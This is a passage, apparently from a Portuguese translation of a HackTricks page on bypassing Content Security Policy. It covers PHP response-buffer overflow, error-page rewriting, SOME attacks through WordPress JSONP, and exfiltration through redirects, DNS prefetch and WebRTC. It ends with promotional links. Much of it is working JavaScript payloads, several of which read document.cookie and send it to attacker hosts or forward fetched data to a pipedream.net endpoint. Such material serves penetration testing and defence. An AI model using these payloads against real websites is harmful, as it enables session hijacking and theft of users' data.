definido no código web PHP não será enviado por causa do erro que isso irá desencadear.
Sobrecarga do buffer de resposta PHP
O PHP é conhecido por armazenar em buffer a resposta para 4096 bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo dados suficientes dentro dos avisos, a resposta será enviada antes do cabeçalho CSP, fazendo com que o cabeçalho seja ignorado.
Então, a técnica consiste basicamente em preencher o buffer de resposta com avisos para que o cabeçalho CSP não seja enviado.
Ideia de este writeup.
Reescrever Página de Erro
De este writeup parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar de outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o endpoint vulnerável pode usar o objeto opener
no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, consulte:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Além disso, o wordpress possui um endpoint JSONP em /wp-json/wp/v2/users/1?_jsonp=data
que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).
Um atacante pode abusar desse endpoint para gerar um ataque SOME contra o WordPress e incorporá-lo dentro de <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
observe que esse script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque SOME através do endpoint de callback vulnerável que burla o CSP para conceder mais privilégios a um usuário, instalar um novo plugin...
Para mais informações sobre como realizar esse ataque, consulte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Bypasses de Exfiltração de CSP
Se houver um CSP restrito que não permita que você interaja com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
Localização
Você poderia simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Para carregar páginas mais rapidamente, os navegadores vão pré-resolver os nomes de host em endereços IP e armazená-los em cache para uso posterior.
Você pode indicar a um navegador para pré-resolver um nome de host com: <link rel="dns-prefetch" href="something.com">
Você poderia abusar desse comportamento para exfiltrar informações sensíveis por meio de solicitações DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Outra maneira:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Aparentemente, essa técnica não funciona em navegadores sem interface (bots) {% endhint %}
WebRTC
Em várias páginas, você pode ler que o WebRTC não verifica a política connect-src
do CSP.
Na verdade, você pode vazar informações usando uma solicitação DNS. Confira este código:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Outra opção:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Verificando Políticas CSP Online
Criando CSP Automaticamente
https://csper.io/docs/generating-content-security-policy
Referências
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Junte-se ao HackenProof Discord server para se comunicar com hackers experientes e caçadores de bugs!
Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.